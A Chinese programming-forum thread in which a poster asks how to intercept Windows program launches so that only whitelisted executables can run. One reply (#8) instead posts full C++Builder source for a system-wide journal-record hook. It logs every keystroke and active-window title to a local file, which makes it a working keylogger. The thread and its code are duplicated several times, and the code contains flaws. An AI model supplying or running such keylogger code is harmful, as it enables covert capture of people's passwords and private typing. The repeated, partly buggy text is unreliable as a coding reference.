指出要运行的文件名称,路径等。然后再可控制是否可允许其运行。
相当于做到 病毒监测软件的功能。在程序运行之前就知道。
17 个解决方案
#1
这涉及到HOOK(钩子),按照你的要求要用到消息钩子,我做过键盘钩子,但没有做过消息钩子,你看看SDK。
#2
WINDOWS在运行某程序之前应该有消息触发,键盘的好象是WM_USER
但不知道程序运行前的消息代号是什么?
病毒监测软件就是在程序运行之前进行拦截,然后检查是否包含病毒,如果有病毒则会禁止其运行。我不想做杀毒软件。
但想做一个系统运行日志,只允许运行允许的程序。
但不知道程序运行前的消息代号是什么?
病毒监测软件就是在程序运行之前进行拦截,然后检查是否包含病毒,如果有病毒则会禁止其运行。我不想做杀毒软件。
但想做一个系统运行日志,只允许运行允许的程序。
#3
有好多收呢
#4
一般的程序手段根本不可能实现你的要求!
“在任何可执行程序运行之前”……呵呵
“在任何可执行程序运行之前”……呵呵
#5
用AppsEvent可能可以
#6
楼上说的对啊。
#7
VXD
#8
消息是搞不定的,这涉及到HOOK(钩子),按照你的要求,最好要用成日志钩子,奉上所有源代码:Unit1.h, Unit1.cpp
//Unit1.h
//---------------------------------------------------------------------------
#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TButton *Install;
TButton *UnLoad;
void __fastcall InstallClick(TObject *Sender);
void __fastcall UnLoadClick(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
//Unit1.cpp
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::InstallClick(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}
//---------------------------------------------------------------------------
void __fastcall TForm1::UnLoadClick(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfiless.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital) //a""
if (bShift) ch=vKey;
else ch=vKey+32;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch=';' ;
else ch=':';
break;
case 187:
if (!bShift) ch='=' ;
else ch='+' ;
break;
case 188:
if (!bShift) ch=',' ;
else ch='<' ;
break;
case 189:
if (!bShift) ch='-' ;
else ch='_' ;
break;
case 190:
if (!bShift) ch='.' ;
else ch='>' ;
break;
case 191:
if (!bShift) ch='/' ;
else ch='?' ;
break;
case 192:if (!bShift) ch='`' ; else ch='~' ;break;
case 219:if (!bShift) ch='[' ; else ch='{' ;break;
case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
case 221:if (!bShift) ch=']' ; else ch='}' ;break;
case 222:if (!bShift) ch='\''; else ch='\"' ;break;
default:ch='n' ;break;
}
if (ch!='n' ) fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n' ;break;
}
if (ch!='n' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}
//Unit1.h
//---------------------------------------------------------------------------
#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TButton *Install;
TButton *UnLoad;
void __fastcall InstallClick(TObject *Sender);
void __fastcall UnLoadClick(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
//Unit1.cpp
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::InstallClick(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}
//---------------------------------------------------------------------------
void __fastcall TForm1::UnLoadClick(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfiless.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital) //a""
if (bShift) ch=vKey;
else ch=vKey+32;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch=';' ;
else ch=':';
break;
case 187:
if (!bShift) ch='=' ;
else ch='+' ;
break;
case 188:
if (!bShift) ch=',' ;
else ch='<' ;
break;
case 189:
if (!bShift) ch='-' ;
else ch='_' ;
break;
case 190:
if (!bShift) ch='.' ;
else ch='>' ;
break;
case 191:
if (!bShift) ch='/' ;
else ch='?' ;
break;
case 192:if (!bShift) ch='`' ; else ch='~' ;break;
case 219:if (!bShift) ch='[' ; else ch='{' ;break;
case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
case 221:if (!bShift) ch=']' ; else ch='}' ;break;
case 222:if (!bShift) ch='\''; else ch='\"' ;break;
default:ch='n' ;break;
}
if (ch!='n' ) fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n' ;break;
}
if (ch!='n' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}
#9
楼上这位做的好象是键盘拦截程序。我也做过。
木马程序或病毒程序并不需要双击鼠标或按键再运行。
我的想法如下:
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
木马程序或病毒程序并不需要双击鼠标或按键再运行。
我的想法如下:
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
#10
欢迎大家解答。
#11
如果你做过键盘钩子,消息钩子机制也是一样的,你可以参考SDK的说明啊。
#12
在任何程序运行之前??
程序是什么??
启动后就运行程序了!
你要在什么程序启动后的问题!
Win32程序??
是实模式,还是虚模式??
起什么作用?? 实现什么功能??
程序是什么??
启动后就运行程序了!
你要在什么程序启动后的问题!
Win32程序??
是实模式,还是虚模式??
起什么作用?? 实现什么功能??
#13
我的想法如下:
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
#14
使用HOOK!!!!!
#15
涉及到启动一个进程时报警,HOOK里有个日志钩子,不知可不可以,感觉没有这么简单,总觉得这些事该系统管呀。
#16
luo73(梦中编程) 告诉你:
我用得确实是日志钩子,只不过这个DEMO(*.exe)是用日志钩子处理键盘事件。
你想想看,如果是键盘钩子的话,必须做成DLL才能实现以上功能!对吧...
请你分析一下这段代码,我相信一定能解决你的问题!
我用得确实是日志钩子,只不过这个DEMO(*.exe)是用日志钩子处理键盘事件。
你想想看,如果是键盘钩子的话,必须做成DLL才能实现以上功能!对吧...
请你分析一下这段代码,我相信一定能解决你的问题!
#17
我现在也没有解决此问题,先结帖吧。
#1
这涉及到HOOK(钩子),按照你的要求要用到消息钩子,我做过键盘钩子,但没有做过消息钩子,你看看SDK。
#2
WINDOWS在运行某程序之前应该有消息触发,键盘的好象是WM_USER
但不知道程序运行前的消息代号是什么?
病毒监测软件就是在程序运行之前进行拦截,然后检查是否包含病毒,如果有病毒则会禁止其运行。我不想做杀毒软件。
但想做一个系统运行日志,只允许运行允许的程序。
但不知道程序运行前的消息代号是什么?
病毒监测软件就是在程序运行之前进行拦截,然后检查是否包含病毒,如果有病毒则会禁止其运行。我不想做杀毒软件。
但想做一个系统运行日志,只允许运行允许的程序。
#3
有好多收呢
#4
一般的程序手段根本不可能实现你的要求!
“在任何可执行程序运行之前”……呵呵
“在任何可执行程序运行之前”……呵呵
#5
用AppsEvent可能可以
#6
楼上说的对啊。
#7
VXD
#8
消息是搞不定的,这涉及到HOOK(钩子),按照你的要求,最好要用成日志钩子,奉上所有源代码:Unit1.h, Unit1.cpp
//Unit1.h
//---------------------------------------------------------------------------
#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TButton *Install;
TButton *UnLoad;
void __fastcall InstallClick(TObject *Sender);
void __fastcall UnLoadClick(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
//Unit1.cpp
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::InstallClick(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}
//---------------------------------------------------------------------------
void __fastcall TForm1::UnLoadClick(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfiless.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital) //a""
if (bShift) ch=vKey;
else ch=vKey+32;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch=';' ;
else ch=':';
break;
case 187:
if (!bShift) ch='=' ;
else ch='+' ;
break;
case 188:
if (!bShift) ch=',' ;
else ch='<' ;
break;
case 189:
if (!bShift) ch='-' ;
else ch='_' ;
break;
case 190:
if (!bShift) ch='.' ;
else ch='>' ;
break;
case 191:
if (!bShift) ch='/' ;
else ch='?' ;
break;
case 192:if (!bShift) ch='`' ; else ch='~' ;break;
case 219:if (!bShift) ch='[' ; else ch='{' ;break;
case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
case 221:if (!bShift) ch=']' ; else ch='}' ;break;
case 222:if (!bShift) ch='\''; else ch='\"' ;break;
default:ch='n' ;break;
}
if (ch!='n' ) fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n' ;break;
}
if (ch!='n' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}
//Unit1.h
//---------------------------------------------------------------------------
#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TButton *Install;
TButton *UnLoad;
void __fastcall InstallClick(TObject *Sender);
void __fastcall UnLoadClick(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
//Unit1.cpp
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::InstallClick(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}
//---------------------------------------------------------------------------
void __fastcall TForm1::UnLoadClick(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfiless.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital) //a""
if (bShift) ch=vKey;
else ch=vKey+32;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch=';' ;
else ch=':';
break;
case 187:
if (!bShift) ch='=' ;
else ch='+' ;
break;
case 188:
if (!bShift) ch=',' ;
else ch='<' ;
break;
case 189:
if (!bShift) ch='-' ;
else ch='_' ;
break;
case 190:
if (!bShift) ch='.' ;
else ch='>' ;
break;
case 191:
if (!bShift) ch='/' ;
else ch='?' ;
break;
case 192:if (!bShift) ch='`' ; else ch='~' ;break;
case 219:if (!bShift) ch='[' ; else ch='{' ;break;
case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
case 221:if (!bShift) ch=']' ; else ch='}' ;break;
case 222:if (!bShift) ch='\''; else ch='\"' ;break;
default:ch='n' ;break;
}
if (ch!='n' ) fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n' ;break;
}
if (ch!='n' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}
#9
楼上这位做的好象是键盘拦截程序。我也做过。
木马程序或病毒程序并不需要双击鼠标或按键再运行。
我的想法如下:
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
木马程序或病毒程序并不需要双击鼠标或按键再运行。
我的想法如下:
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
#10
欢迎大家解答。
#11
如果你做过键盘钩子,消息钩子机制也是一样的,你可以参考SDK的说明啊。
#12
在任何程序运行之前??
程序是什么??
启动后就运行程序了!
你要在什么程序启动后的问题!
Win32程序??
是实模式,还是虚模式??
起什么作用?? 实现什么功能??
程序是什么??
启动后就运行程序了!
你要在什么程序启动后的问题!
Win32程序??
是实模式,还是虚模式??
起什么作用?? 实现什么功能??
#13
我的想法如下:
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
